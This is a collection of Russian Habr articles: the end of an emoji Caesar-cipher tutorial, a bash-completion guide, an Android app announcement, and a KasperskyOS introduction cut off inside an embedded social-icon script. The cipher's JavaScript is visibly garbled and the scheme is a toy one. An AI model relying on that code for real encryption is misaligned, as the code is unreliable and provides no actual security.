4 "🎁","http://vk.com/images/emoji/D83CDF81.png"
```
```
5 "🎂","http://vk.com/images/emoji/D83CDF82.png"
```
```
6 "🎃","http://vk.com/images/emoji/D83CDF83.png"
```
```
7 "🎄","http://vk.com/images/emoji/D83CDF84.png"
```
```
8 "🎅","http://vk.com/images/emoji/D83CDF85.png"
```
```
9 "🎈","http://vk.com/images/emoji/D83CDF88.png"
```
```
"пробел" "🎉","https://habrastorage.org/getpro/habr/post_images/06d/0e6/e96/06d0e6e961f1030a5916279e2c57755a.png"
```
Кроме того был создан ещё один массив «сдвига». Внутри него содержались цифры от 0 до 9, которым также были присвоены уникальные символы. На самом деле можно было добавить больше цифр, это уже дело вкуса. Этот массив выглядит вот так:
**Массив сдвига**
```
0 "🎊","https://habrastorage.org/getpro/habr/post_images/e61/d22/668/e61d226683006faa0b5a75f5f24716ef.png"
```
```
1 "🎋","http://vk.com/images/emoji/D83CDF8B.png"
```
```
2 "🎌","http://vk.com/images/emoji/D83CDF8C.png"
```
```
3 "🎍","http://vk.com/images/emoji/D83CDF8D.png"
```
```
4 "🎎","http://vk.com/images/emoji/D83CDF8E.png"
```
```
5 "🎏","http://vk.com/images/emoji/D83CDF8F.png"
```
```
6 "🎐","http://vk.com/images/emoji/D83CDF90.png"
```
```
7 "🎒","http://vk.com/images/emoji/D83CDF92.png"
```
```
8 "🎓","http://vk.com/images/emoji/D83CDF93.png"
```
```
9 "🎣","http://vk.com/images/emoji/D83CDFA3.png"
```
Важное замечание! Возможно, вы заметили, что и в первом, и во втором массивах есть цифры 0-9. Для того чтобы различать их, нужно обязательно присвоить каждой уникальный символ, не встречающийся ранее. Это важное условие для работы всего шифра.
Итак, теперь у нас есть всё для шифрования исходного сообщения. Сначала мы найдём два числа: число «сдвига» (границы 0-9) и число «позиции» (границы 0-«длина исходной строки»). Оба они генерируются случайным образом. Первая цифра будет определять тот самый сдвиг букв как в шифре цезаря, а второе число – это позиция внутри строки, на место которой мы будем вставлять смайлик из массива «сдвига», который соответствует числу «сдвига» (простите за тавтологию).
Стандартно делаем сдвиг в правую сторону, но заменяем их уже не на сдвинутую букву, а на её emoji символ. Во время шифрования, при наборе результирующей строки, следим за моментом, когда нужно будет вставить emoji символ числа «сдвига». На выходе у нас получается строка из одних только смайликов. Здесь нас ждёт самая главная проблема, которая связана скорее с корректным отображением смайликов. Поскольку многие браузеры могут отображать прямоугольники вместо нужных нам символов (хотя распознаванию внутри кода это нисколько не мешает), то мы оборачиваем их в с соответствующими ссылками на изображения. Таким образом, получается довольно красивый внешний вид шифра.
Пример шифрования:
«hello world» => 
(отсюда не выходит скопировать шифр)
Сама функция шифрования выглядит вот так:
```
var str = document.getElementById("text").value;
var res='';
var key = getRandomInt(0,9);
var key_insert = getRandomInt(0,str.length-1) ;
for (var i=0;i';}
for (var j=0;jcipher.length-1) {
res = res+'!['+cipher[(j+key)-cipher.length][1]+']('+cipher[(j+key)-cipher.length][2]+')';
} else {
res = res+'!['+cipher[(j+key)][1]+']('+cipher[(j+key)][2]+')';
}
}
}
}
```
Процесс дешифровки не намного сложнее. Для начала, в зашифрованной строке мы ищем символ «сдвига», сравнивая строку с массивом «сдвига». Когда мы его нашли, то переводим его в численное значение и делаем обратный сдвиг влево, только теперь уже символы заменяем буквами.
Пример дешифрования:
 | https://habr.com/ru/post/269259/ | null | ru | null |
# Использование bash completion в командной строке, собственных скриптах и приложениях. Часть 1
[Часть 2](http://habrahabr.ru/blogs/sysadm/115886/)
Системный администратор — человек ленивый. Обычно он старается сделать максимум работы, приложив минимум усилий, а для этого зачастую требуется автоматизировать многие рутинные процедуры. Например — набор полных имен хостов при создании ssh-соединения, или же длинных аргументов некоторых команд :)
Сегодня я попробую рассказать про использование такого функционала шелла как bash completion.
Итак, почти любая оболочка по умолчанию умеет добавлять пути к файлам и директориям:
`root@mould:~# mkdir very_long_dir_name
root@mould:~# cd ve[Tab]
root@mould:~# cd very_long_dir_name/`
bash (в моем случае) после нажатия клавиши Tab допишет имя диркетории (если его можно определить однозначно по первым набранным символам), или покажет варианты:
`root@mould:~# ls .s[Tab]
.ssh/ .subversion/`
Но при этом некоторые шеллы умеют дополнять не только пути, но и аргументы для ряда команд. Например:
`root@mould:~# apt-get up[Tab]
update upgrade`
Или даже более сложные конструкции:
`root@mould:~# apt-get install bash-[Tab]
bash-builtins bash-completion bash-doc bash-minimal bash-static`
За данный функционал в debain-based дистрибутивах (не могу ничего сказать про остальные) отвечает содержимое пакета bash-completion.
Для того, чтобы активировать возможности completion достаточно сделать следующее:
`root@mould:~# . /etc/bash_completion`
Или добавить такой вызов в ваш .bashrc файл, после чего перелогиниться:
`if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi`
Скорее всего это у вас уже написано, но закомментировано.
Попробуем начать использовать одно из самых часто требующихся комплишенов — дополнение имен хостов при доступе к ним по ssh.
Для начала потребуется отключить хеширование имен хостов в ~/.ssh/known\_hosts. При «коробочных» настройках строка в этом файле выглядит примерно так:
`|1|yVV33HmBny6RPYWkUB5aW+TksqQ=|f11ZL/FI9/Krfw2bqN0tBJeeq4w= ssh-rsa AAAAB3Nz__много-много-символов__2bYw==`,
что нас не устроит.
После выставления значения **HashKnownHosts No** в конфиг-файле ssh-клиента (/etc/ssh/ssh\_config или ~/.ssh/config), и очистки .ssh/known\_hosts (иначе в него будут добавляться правильный строки только для новых хостов) мы получим удобочитаемый вариант записи в known\_hosts после первой попытки залогинтся на хост:
`mould,11.22.33.44 ssh-rsa AAAAB3NzaC1y__много-много-символов__c2EAANq6/Ww==`.
А это, в свою очередь, позволит использовать комплишен имен при установке ssh-соединения:
`veshij@dhcp250-203:~ $ ssh mould[Tab]
mould mould01e`
Если в вашем «подчинении» более 5-10 машин это будет весьма удобно.
И, кстати, дополнение заработает не только для ssh, а еще для ряда других программ: ping, traceroute, telnet, etc. И не только по hostname, а еще и по ip-адресу.
Если эта тема окажется интересной, в следующей части могу рассказать, как настроить дополнение команд и аргументов для ваших собственных скриптов. Например, так:
`root@mould:~# my_test_script --[Tab]
--help --kill-all-humans --conquer-the-world` | https://habr.com/ru/post/71525/ | null | ru | null |
# Songsterr — теперь на Android
C полгода назад [songsterr](http://habrahabr.ru/users/songsterr/) [писали](http://habrahabr.ru/blogs/startup/123465/) об итогах трех лет. А ныне команда рада оповестить Хабрахабр о выходе приложения для Android!
##### Основная функциональность
— Доступ к огромному каталогу табулатур(400 000)
— Наборы инструментов для каждой песни. Гитары, бас, ударные, голос и прочее
— Список «Популярные»
— Возможность поиска песни по имени исполнителя или названию
В планах добавить проигрывание музыки, избранное и много-многое другое. Следите за новостями тут, в [facebook](http://www.facebook.com/songsterr) и [twitter](http://twitter.com/songsterr).
[Скачать с маркета:](https://market.android.com/details?id=com.songsterr&feature=search_result)
QR:
##### Технические моменты
1. в 2.3.1 появилась возможность использовать резиновые списки в том смысле, что список оттягивается и виден background, как это сделано в iPhone. Чтобы добавить такой эффект к своему ListView, надо сделать подкласс и переопределить один метод:
```
public class BounceListView extends ListView {
private int maxYOverscroll;
private static final float MAX_Y_OVERSCROLL_DISTANCE = 200;
public BounceListView(Context context) {
super(context);
initBounceListView();
}
public BounceListView(Context context, AttributeSet attrs) {
super(context, attrs);
initBounceListView();
}
public BounceListView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
initBounceListView();
}
private void initBounceListView() {
//get the density of the screen and do some maths with it on the max overscroll distance
//variable so that you get similar behaviors no matter what the screen size
final DisplayMetrics metrics = getContext().getResources().getDisplayMetrics();
final float density = metrics.density;
maxYOverscroll = (int) (density * MAX_Y_OVERSCROLL_DISTANCE);
}
@Override
protected boolean overScrollBy(int deltaX, int deltaY,
int scrollX, int scrollY,
int scrollRangeX, int scrollRangeY,
int maxOverScrollX, int maxOverScrollY,
boolean isTouchEvent) {
//This is where the magic happens, we have replaced the incoming maxOverScrollY with our own custom variable maxYOverscroll;
return super.overScrollBy(deltaX, deltaY,
scrollX, scrollY, scrollRangeX,
scrollRangeY, maxOverScrollX,
maxYOverscroll, isTouchEvent);
}
```
2. Опять же в 2.3.1 появилась возможность указания обратной ориентации для экрана, на основе сигнала сенсора. Это удобно, если вам хочется, чтобы одна из activity была только в альбомной ориентации, но при этом зависела от сенсора.
screenOrientation=«sensorLandscape». Будьте внимательны, потому что на 2.2 этот атрибут ведет себя не как landscape, а как отсутствие атрибута напрочь!
3. Для того, чтобы в TextView, являющейся частью записи в ListView менялось состояние в соответствии с выбором и кликом на этот элемент( selected=«true» или clicked=«true» ) нужно использовать аттрибут dublicateParentState. Иначе бэкграунд у элемента будет меняться, а цвет текста — нет.
С моментами пока что все! Удачного изучения игры своих любимых песен!
Также мы будем рады любой конструктивной критике и высказанным пожеланиям.
Спасибо!
P.S.: Хотите работать в нашей команде? Пишите нам на hq@songsterr.com | https://habr.com/ru/post/137098/ | null | ru | null |
# Операционная система с кибериммунитетом: кто, зачем и как создает KasperskyOS
Здравствуйте! Мы подразделение «Лаборатории Касперского», которое разрабатывает безопасную операционную систему KasperskyOS. Наша цель — создать ОС, у которой есть кибериммунитет, поэтому ей не страшно доверить управление умными автомобилями, сложными техническими процессами и важными информационными системами.
Хотим рассказать, как идет развитие проекта, какие технологии лежат в его основе и что получается на выходе. Ну и немного о нашей внутренней структуре: кто и чем занимается, как выстраивается работа на удаленке, а также как попасть к нам в команду.
---
Содержание 1. [Зачем нужна еще одна ОС](#rec186466509)
2. [Как в KasperskyOS обеспечивается безопасность](#rec186465934)
3. [Почему не Linux или другая операционная система](#rec186469108)
4. [Какие принципы лежат в основе KasperskyOS](#rec186465951)
5. [Есть ли особенности в приложениях под KasperskyOS](#rec186480295)
6. [Как создается экосистема KasperskyOS](#rec186470538)
7. [Кто и как создает KasperskyOS](#rec186465964)
8. [На каких языках пишется KasperskyOS](#rec186471870)
9. [Как нам живется на карантине](#rec186472170)
10. [Как попасть в нашу команду](#rec186465982)
11. [Что почитать до того, как устраиваться в команду KasperskyOS](#rec186473565)
12. [Челлендж от команды KasperskyOS](#rec188727187)
Зачем нужна еще одна ОС Может показаться, что в мире существуют ОС под любые задачи. Есть операционки общего назначения, такие как Windows, macOS или дистрибутивы на базе ядра Linux. Есть специализированные — для авиации и промышленности, с real-time-характеристиками и доказанной надежностью. Но полностью безопасных нет. Обычно меры защиты разрабатываются в ответ на существующие или потенциальные известные угрозы. Но этот подход не дает 100% гарантий. С завидной регулярностью возникают новые классы угроз, которые разработчики не принимали в расчет. Классический пример — техника возвратно-ориентированного программирования (return-oriented programming). Еще совсем недавно считалось, что исполнение вредоносного кода станет невозможным, если выполнить 2 условия: * запретить исполнение кода в областях, куда могут попасть пользовательские данные;
* защитить от модификаций области памяти, где находится программный код.
Это не помешало хакерам и исследователям в области безопасности найти способ обойти защиту. Оказалось, что с помощью подмены адреса возврата из процедуры и используя части кода самого приложения и системных библиотек можно выполнить сложные действия и получить результат, который требуется злоумышленнику.
Мы в «Лаборатории Касперского» решили подойти к проблеме радикально: разработать подход, обеспечивающий надежную защиту от любых атак — как известных, так и перспективных. Изначально мы не ставили себе цель сделать новую операционную систему и рассчитывали, что задачу можно решить, используя уже разработанные ОС. Как в KasperskyOS обеспечивается безопасность Для начала немного теории. Как понять, безопасно решение или нет? Нужно с самого начала установить цели безопасности — требования, выполнение которых должно обеспечиваться при любых сценариях работы системы. Следовательно, в безопасном решении нужно сделать невозможным выполнение любых операций, способных повлиять на достижение целей безопасности. Принцип очень простой: в процессе работы решения нужно проверять, способна ли та или иная операция негативным образом повлиять на безопасное функционирование системы, и если да, то такую операцию необходимо блокировать. Однако есть 2 сложности: нужно понять, какие операции надо контролировать, и оценить влияние этих операций на безопасную работу системы. Александр Шадрин руководитель группы разработки (Secure Hypervisor Development) .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 0-.5-.1-.8-.3-.3-.2-.6-.5-1-.9-.3-.4-.7-.9-1.1-1.6-.4-.7-.8-1.5-1.3-2.4l-.4-.7c-.2-.4-.5-1.1-.9-1.9-.4-.8-.8-1.6-1.1-2.4-.1-.3-.3-.6-.6-.7l-.1-.1c-.1-.1-.2-.1-.4-.2s-.3-.1-.5-.2H3.2c-.6 0-1.1.1-1.3.4l-.1.1c0 .1-.1.2-.1.4s0 .4.1.6c.9 2.2 1.9 4.3 3 6.3s2 3.6 2.8 4.9c.8 1.2 1.6 2.4 2.4 3.5.8 1.1 1.4 1.8 1.7 2.1.3.3.5.5.6.7l.6.6c.4.4.9.8 1.6 1.3.7.5 1.5 1 2.4 1.5.9.5 1.9.9 3 1.2 1.2.3 2.3.4 3.4.4H26c.5 0 .9-.2 1.2-.5l.1-.1c.1-.1.1-.2.2-.4s.1-.4.1-.6c0-.7 0-1.3.1-1.8s.2-.9.4-1.2c.1-.3.3-.5.5-.7.2-.2.3-.3.4-.3.1 0 .1-.1.2-.1.4-.1.8 0 1.3.4s1 .8 1.4 1.3c.4.5 1 1.1 1.6 1.8.6.7 1.2 1.2 1.6 1.5l.5.3c.3.2.7.4 1.2.5.5.2.9.2 1.3.1l5.9-.1c.6 0 1-.1 1.4-.3.3-.2.5-.4.6-.6.1-.2.1-.5 0-.8-.1-.3-.1-.5-.2-.6-.1-.1-.1-.2-.2-.3-.8-1.4-2.2-3.1-4.4-5.1-1-.9-1.6-1.6-1.9-1.9-.5-.6-.6-1.2-.3-1.9.3-.5 1-1.5 2.2-3z"/></svg>'; } vk += '</a>'; vk += '</div>'; var ok = ''; ok += '<div class="t-review-social-links\_\_item">'; ok += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15.001 29.997C6.715 29.997 0 23.28 0 14.997 0 6.714 6.715 0 15.001 0 23.282-.001 30 6.713 30 14.998c0 8.283-6.716 14.999-14.998 14.999zM15 9.163c.986 0 1.787.803 1.787 1.787 0 .987-.801 1.788-1.787 1.788a1.788 1.788 0 0 1 0-3.574zm4.317 1.787a4.322 4.322 0 0 0-4.317-4.319 4.323 4.323 0 0 0-4.319 4.32A4.322 4.322 0 0 0 15 15.266a4.32 4.32 0 0 0 4.316-4.317zm-2.57 7.84a8.126 8.126 0 0 0 2.507-1.038 1.266 1.266 0 0 0-1.347-2.143 5.482 5.482 0 0 1-5.816 0 1.265 1.265 0 0 0-1.348 2.143c.78.49 1.628.838 2.507 1.038l-2.414 2.414a1.267 1.267 0 0 0 .894 2.16c.324 0 .649-.125.895-.37l2.371-2.373 2.373 2.373a1.265 1.265 0 0 0 1.788-1.789l-2.41-2.415z"/></svg>'; } else { ok += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M12.498 6.2a1.932 1.932 0 0 0-1.929 1.93 1.932 1.932 0 0 0 3.861 0 1.932 1.932 0 0 0-1.932-1.93zm0 6.592a4.668 4.668 0 0 1-4.66-4.662 4.665 4.665 0 0 1 4.66-4.663 4.666 4.666 0 0 1 4.664 4.663 4.669 4.669 0 0 1-4.664 4.662zm-1.884 3.801a8.75 8.75 0 0 1-2.708-1.12 1.367 1.367 0 1 1 1.455-2.312 5.925 5.925 0 0 0 6.276 0 1.367 1.367 0 1 1 1.456 2.311c-.832.522-1.749.9-2.707 1.12l2.606 2.608a1.367 1.367 0 0 1-1.933 1.931L12.5 18.569l-2.561 2.562a1.368 1.368 0 0 1-1.934-1.934l2.609-2.604z"/></svg>'; } ok += '</a>'; ok += '</div>'; var behance = ''; behance += '<div class="t-review-social-links\_\_item">'; behance += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-421.541 278.608c-3.095 0-3.526 3.09-3.526 3.09h6.581c0-.001.042-3.09-3.055-3.09zM-436.472 281.697h-5.834v5.356h5.165c.088 0 .219.002.374 0 .831-.02 2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" 